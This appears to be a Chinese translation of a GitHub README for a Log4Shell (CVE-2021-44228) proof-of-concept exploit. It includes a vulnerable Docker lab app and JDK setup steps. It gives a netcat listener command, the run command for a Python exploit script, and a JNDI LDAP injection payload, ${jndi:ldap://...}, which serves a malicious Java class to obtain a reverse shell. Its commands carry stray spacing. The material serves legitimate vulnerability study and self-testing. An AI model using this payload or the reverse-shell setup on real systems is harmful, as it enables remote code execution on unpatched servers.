log4j shell poc
1.0.0
最近发现的 CVE-2021-44228 漏洞的概念验证。
最近,log4j 中出现了一个新漏洞,log4j 是一个 Java 日志库,广泛应用于 Elasticsearch、Minecraft 等众多应用中。
在此存储库中,有一个示例易受攻击的应用程序及其概念验证(POC)利用。
作为 PoC,有一个 python 文件可以自动执行该过程。
pip install -r requirements.txt
nc - lvnp 9001
jdk1.8.0_20
,并且位于同一目录中。 $ python3 poc . py - - userip localhost - - webport 8000 - - lport 9001
[!] CVE : CVE - 2021 - 44228
[!] Github repo : https : // github . com / kozmer / log4j - shell - poc
[ + ] Exploit java class created success
[ + ] Setting up fake LDAP server
[ + ] Send me : ${ jndi : ldap : // localhost : 1389 / a }
Listening on 0.0 . 0.0 : 1389
该脚本将为您设置 HTTP 服务器和 LDAP 服务器,并且还将创建可用于粘贴到易受攻击的参数中的有效负载。之后,如果一切顺利,您应该在 lport 上获得一个 shell。
有一个包含易受攻击的 webapp 的 Dockerfile。您可以按照以下步骤使用它:
1 : docker build - t log4j - shell - poc .
2 : docker run -- network host log4j - shell - poc
运行后,您可以在 localhost:8080 上访问它
值得庆幸的是,Oracle 提供了所有以前的 java 版本的存档:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html。
向下滚动到8u20
并下载适合您的操作系统和硬件的文件。
注意:您需要创建一个帐户才能下载该软件包。
下载并解压存档后,您可以在jdk1.8.0_20/bin
中找到java
和一些相关的二进制文件。
注意:请确保将 jdk 文件夹提取到此存储库中并具有相同的名称,以便其正常工作。
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
此存储库并非旨在对 CVE-2021-44228 进行一键式利用。这个项目的目的是帮助人们了解这个漏洞,也许还可以测试他们自己的应用程序(但是有更好的应用程序用于此目的,ei:https://log4shell.tools/)。